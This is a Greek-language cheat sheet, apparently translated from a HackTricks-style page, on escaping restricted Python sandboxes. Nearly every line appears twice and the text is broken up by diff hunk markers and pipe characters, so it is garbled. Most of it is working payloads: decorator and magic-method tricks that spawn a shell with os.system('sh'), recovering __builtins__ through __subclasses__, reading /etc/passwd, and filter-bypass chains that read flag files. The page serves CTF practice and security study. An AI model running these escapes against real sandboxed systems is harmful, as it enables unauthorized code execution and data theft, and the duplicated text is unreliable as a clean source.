Αν βρίσκεστε μέσα σε ένα φυλακισμένο περιβάλλον Python που **δεν σάς επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα κάποιοι τρόποι για να **εκτελέσετε αυθαίρετες λειτουργίες, κώδικα** και **εντολές**.
|
Αν βρίσκεστε μέσα σε ένα φυλακισμένο περιβάλλον Python που **δεν σάς επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα κάποιοι τρόποι για να **εκτελέσετε αυθαίρετες λειτουργίες, κώδικα** και **εντολές**.
|
||||||
|
|
||||||
### RCE με [διακοσμητές](https://docs.python.org/3/glossary.html#term-decorator)
|
### RCE με [διακοσμητές](https://docs.python.org/3/glossary.html#term-decorator)
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||||
@exec
|
@exec
|
||||||
|
@ -198,6 +213,7 @@ X = exec(X)
|
||||||
@'__import__("os").system("sh")'.format
|
@'__import__("os").system("sh")'.format
|
||||||
class _:pass
|
class _:pass
|
||||||
```
|
```
|
||||||
|
|
||||||
### RCE δημιουργώντας αντικείμενα και υπερφόρτωση
|
### RCE δημιουργώντας αντικείμενα και υπερφόρτωση
|
||||||
|
|
||||||
Αν μπορείτε να **δηλώσετε μια κλάση** και **να δημιουργήσετε ένα αντικείμενο** από αυτή την κλάση, μπορείτε **να γράψετε/υπερφορτώσετε διαφορετικές μεθόδους** που μπορούν να **ενεργοποιηθούν** **χωρίς** την **ανάγκη να κληθούν απευθείας**.
|
Αν μπορείτε να **δηλώσετε μια κλάση** και **να δημιουργήσετε ένα αντικείμενο** από αυτή την κλάση, μπορείτε **να γράψετε/υπερφορτώσετε διαφορετικές μεθόδους** που μπορούν να **ενεργοποιηθούν** **χωρίς** την **ανάγκη να κληθούν απευθείας**.
|
||||||
|
@ -205,6 +221,7 @@ class _:pass
|
||||||
#### RCE με προσαρμοσμένες κλάσεις
|
#### RCE με προσαρμοσμένες κλάσεις
|
||||||
|
|
||||||
Μπορείτε να τροποποιήσετε μερικές **μεθόδους κλάσης** (_με την υπερφόρτωση υπαρχουσών μεθόδων κλάσης ή δημιουργώντας μια νέα κλάση_) για να τις κάνετε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιούνται** χωρίς να κληθούν απευθείας.
|
Μπορείτε να τροποποιήσετε μερικές **μεθόδους κλάσης** (_με την υπερφόρτωση υπαρχουσών μεθόδων κλάσης ή δημιουργώντας μια νέα κλάση_) για να τις κάνετε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιούνται** χωρίς να κληθούν απευθείας.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||||
class RCE:
|
class RCE:
|
||||||
|
@ -254,9 +271,11 @@ __iand__ (k = 'import os; os.system("sh")')
|
||||||
__ior__ (k |= 'import os; os.system("sh")')
|
__ior__ (k |= 'import os; os.system("sh")')
|
||||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Δημιουργία αντικειμένων με [μετακλάσεις](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
#### Δημιουργία αντικειμένων με [μετακλάσεις](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||||
|
|
||||||
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε ένα παράδειγμα μιας κλάσης, χωρίς να καλέσουμε τον κατασκευαστή** απευθείας, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση.
|
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε ένα παράδειγμα μιας κλάσης, χωρίς να καλέσουμε τον κατασκευαστή** απευθείας, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||||
# This will define the members of the "subclass"
|
# This will define the members of the "subclass"
|
||||||
|
@ -271,9 +290,11 @@ Sub['import os; os.system("sh")']
|
||||||
|
|
||||||
## You can also use the tricks from the previous section to get RCE with this object
|
## You can also use the tricks from the previous section to get RCE with this object
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Δημιουργία αντικειμένων με εξαιρέσεις
|
#### Δημιουργία αντικειμένων με εξαιρέσεις
|
||||||
|
|
||||||
Όταν **ενεργοποιείται μια εξαίρεση**, δημιουργείται ένα αντικείμενο της **Εξαίρεσης** χωρίς να χρειάζεται να καλέσετε τον κατασκευαστή απευθείας (ένα κόλπο από τον [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
|
Όταν **ενεργοποιείται μια εξαίρεση**, δημιουργείται ένα αντικείμενο της **Εξαίρεσης** χωρίς να χρειάζεται να καλέσετε τον κατασκευαστή απευθείας (ένα κόλπο από τον [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
|
||||||
|
|
||||||
```python
|
```python
|
||||||
class RCE(Exception):
|
class RCE(Exception):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
|
@ -293,7 +314,9 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
|
||||||
|
|
||||||
## You can also use the tricks from the previous section to get RCE with this object
|
## You can also use the tricks from the previous section to get RCE with this object
|
||||||
```
|
```
|
||||||
|
|
||||||
### Περισσότερες RCE
|
### Περισσότερες RCE
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||||
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
|
||||||
|
@ -315,7 +338,9 @@ __iadd__ = eval
|
||||||
__builtins__.__import__ = X
|
__builtins__.__import__ = X
|
||||||
{}[1337]
|
{}[1337]
|
||||||
```
|
```
|
||||||
|
|
||||||
### Διαβάστε το αρχείο με τη βοήθεια των builtins & την άδεια χρήσης
|
### Διαβάστε το αρχείο με τη βοήθεια των builtins & την άδεια χρήσης
|
||||||
|
|
||||||
```python
|
```python
|
||||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||||
a = __builtins__.help
|
a = __builtins__.help
|
||||||
|
@ -324,16 +349,19 @@ a.__class__.__exit__ = lambda self, *args: None
|
||||||
with (a as b):
|
with (a as b):
|
||||||
pass
|
pass
|
||||||
```
|
```
|
||||||
|
|
||||||
## Ενσωματωμένες Συναρτήσεις
|
## Ενσωματωμένες Συναρτήσεις
|
||||||
|
|
||||||
* [**Ενσωματωμένες συναρτήσεις της Python 2**](https://docs.python.org/2/library/functions.html)
|
* [**Ενσωματωμένες συναρτήσεις της Python 2**](https://docs.python.org/2/library/functions.html)
|
||||||
* [**Ενσωματωμένες συναρτήσεις της Python 3**](https://docs.python.org/3/library/functions.html)
|
* [**Ενσωματωμένες συναρτήσεις της Python 3**](https://docs.python.org/3/library/functions.html)
|
||||||
|
|
||||||
Εάν μπορείτε να έχετε πρόσβαση στο αντικείμενο **`__builtins__`** μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι θα μπορούσατε επίσης να χρησιμοποιήσετε εδώ και άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα):
|
Εάν μπορείτε να έχετε πρόσβαση στο αντικείμενο **`__builtins__`** μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι θα μπορούσατε επίσης να χρησιμοποιήσετε εδώ και άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα):
|
||||||
|
|
||||||
```python
|
```python
|
||||||
__builtins__.__import__("os").system("ls")
|
__builtins__.__import__("os").system("ls")
|
||||||
__builtins__.__dict__['__import__']("os").system("ls")
|
__builtins__.__dict__['__import__']("os").system("ls")
|
||||||
```
|
```
|
||||||
|
|
||||||
### Χωρίς Ενσωματωμένες Συναρτήσεις
|
### Χωρίς Ενσωματωμένες Συναρτήσεις
|
||||||
|
|
||||||
Όταν δεν έχετε το `__builtins__` δεν θα μπορείτε να εισάγετε τίποτα ούτε να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι γενικές συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν φορτώνονται**.\
|
Όταν δεν έχετε το `__builtins__` δεν θα μπορείτε να εισάγετε τίποτα ούτε να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι γενικές συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν φορτώνονται**.\
|
||||||
|
@ -342,6 +370,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||||
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πως να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που φορτώνονται για να **έχετε πρόσβαση** σε **επικίνδυνες** **λειτουργίες** μέσα σε αυτά.
|
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πως να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που φορτώνονται για να **έχετε πρόσβαση** σε **επικίνδυνες** **λειτουργίες** μέσα σε αυτά.
|
||||||
|
|
||||||
**Python2**
|
**Python2**
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#Try to reload __builtins__
|
#Try to reload __builtins__
|
||||||
reload(__builtins__)
|
reload(__builtins__)
|
||||||
|
@ -362,9 +391,11 @@ import __builtin__
|
||||||
# Or you could obtain the builtins from a defined function
|
# Or you could obtain the builtins from a defined function
|
||||||
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Python3
|
#### Python3
|
||||||
|
|
||||||
#### Πυθών 3
|
#### Πυθών 3
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Obtain builtins from a globally defined function
|
# Obtain builtins from a globally defined function
|
||||||
# https://docs.python.org/3/library/functions.html
|
# https://docs.python.org/3/library/functions.html
|
||||||
|
@ -383,15 +414,19 @@ get_flag.__globals__['__builtins__']
|
||||||
# Get builtins from loaded classes
|
# Get builtins from loaded classes
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||||
```
|
```
|
||||||
|
|
||||||
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](./#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **σημεία** όπου μπορείτε να βρείτε τα **builtins**.
|
[**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](./#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **σημεία** όπου μπορείτε να βρείτε τα **builtins**.
|
||||||
|
|
||||||
#### Python2 και Python3
|
#### Python2 και Python3
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Recover __builtins__ and make everything easier
|
# Recover __builtins__ and make everything easier
|
||||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||||
__builtins__["__import__"]('os').system('ls')
|
__builtins__["__import__"]('os').system('ls')
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ενσωματωμένα φορτία
|
### Ενσωματωμένα φορτία
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Possible payloads once you have found the builtins
|
# Possible payloads once you have found the builtins
|
||||||
__builtins__["open"]("/etc/passwd").read()
|
__builtins__["open"]("/etc/passwd").read()
|
||||||
|
@ -399,9 +434,11 @@ __builtins__["__import__"]("os").system("ls")
|
||||||
# There are lots of other payloads that can be abused to execute commands
|
# There are lots of other payloads that can be abused to execute commands
|
||||||
# See them below
|
# See them below
|
||||||
```
|
```
|
||||||
|
|
||||||
## Παγκόσμιες και τοπικές μεταβλητές
|
## Παγκόσμιες και τοπικές μεταβλητές
|
||||||
|
|
||||||
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε ποιες μεταβλητές μπορείτε να έχετε πρόσβαση.
|
Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε ποιες μεταβλητές μπορείτε να έχετε πρόσβαση.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
>>> globals()
|
>>> globals()
|
||||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||||
|
@ -425,6 +462,7 @@ class_obj.__init__.__globals__
|
||||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||||
```
|
```
|
||||||
|
|
||||||
## Ανακάλυψη Αυθαίρετης Εκτέλεσης
|
## Ανακάλυψη Αυθαίρετης Εκτέλεσης
|
||||||
|
|
||||||
Εδώ θέλω να εξηγήσω πώς μπορείτε εύκολα να ανακαλύψετε **περισσότερες επικίνδυνες λειτουργίες που φορτώνονται** και να προτείνετε πιο αξιόπιστες εκμεταλλεύσεις.
|
Εδώ θέλω να εξηγήσω πώς μπορείτε εύκολα να ανακαλύψετε **περισσότερες επικίνδυνες λειτουργίες που φορτώνονται** και να προτείνετε πιο αξιόπιστες εκμεταλλεύσεις.
|
||||||
|
@ -432,6 +470,7 @@ class_obj.__init__.__globals__
|
||||||
#### Πρόσβαση σε υποκλάσεις με παρακάμψεις
|
#### Πρόσβαση σε υποκλάσεις με παρακάμψεις
|
||||||
|
|
||||||
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα να **έχετε πρόσβαση στις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό επιτεύχθηκε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()`, αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
|
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα να **έχετε πρόσβαση στις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό επιτεύχθηκε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()`, αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#You can access the base from mostly anywhere (in regular conditions)
|
#You can access the base from mostly anywhere (in regular conditions)
|
||||||
"".__class__.__base__.__subclasses__()
|
"".__class__.__base__.__subclasses__()
|
||||||
|
@ -459,18 +498,24 @@ defined_func.__class__.__base__.__subclasses__()
|
||||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||||
```
|
```
|
||||||
|
|
||||||
### Εντοπισμός επικίνδυνων βιβλιοθηκών που φορτώνονται
|
### Εντοπισμός επικίνδυνων βιβλιοθηκών που φορτώνονται
|
||||||
|
|
||||||
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατή η **εισαγωγή αυθαίρετων βιβλιοθηκών**, μπορείτε να αναζητήσετε όλα τα **ενότητες που έχουν φορτώσει που έχουν εισάγει το sys μέσα σε αυτές**:
|
Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατή η **εισαγωγή αυθαίρετων βιβλιοθηκών**, μπορείτε να αναζητήσετε όλα τα **ενότητες που έχουν φορτώσει που έχουν εισάγει το sys μέσα σε αυτές**:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||||
```
|
```
|
||||||
|
|
||||||
Υπάρχουν πολλοί, και **χρειαζόμαστε μόνο έναν** για να εκτελέσουμε εντολές:
|
Υπάρχουν πολλοί, και **χρειαζόμαστε μόνο έναν** για να εκτελέσουμε εντολές:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορούμε να κάνουμε το ίδιο πράγμα με **άλλες βιβλιοθήκες** που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για **εκτέλεση εντολών**:
|
Μπορούμε να κάνουμε το ίδιο πράγμα με **άλλες βιβλιοθήκες** που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για **εκτέλεση εντολών**:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#os
|
#os
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||||
|
@ -505,7 +550,9 @@ defined_func.__class__.__base__.__subclasses__()
|
||||||
#pdb
|
#pdb
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||||
```
|
```
|
||||||
|
|
||||||
Επιπλέον, μπορούμε ακόμα να αναζητήσουμε ποια modules φορτώνουν κακόβουλες βιβλιοθήκες:
|
Επιπλέον, μπορούμε ακόμα να αναζητήσουμε ποια modules φορτώνουν κακόβουλες βιβλιοθήκες:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||||
for b in bad_libraries_names:
|
for b in bad_libraries_names:
|
||||||
|
@ -524,7 +571,9 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||||
pdb:
|
pdb:
|
||||||
"""
|
"""
|
||||||
```
|
```
|
||||||
|
|
||||||
Επιπλέον, εάν πιστεύετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για την εκτέλεση εντολών**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα των συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
|
Επιπλέον, εάν πιστεύετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για την εκτέλεση εντολών**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα των συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
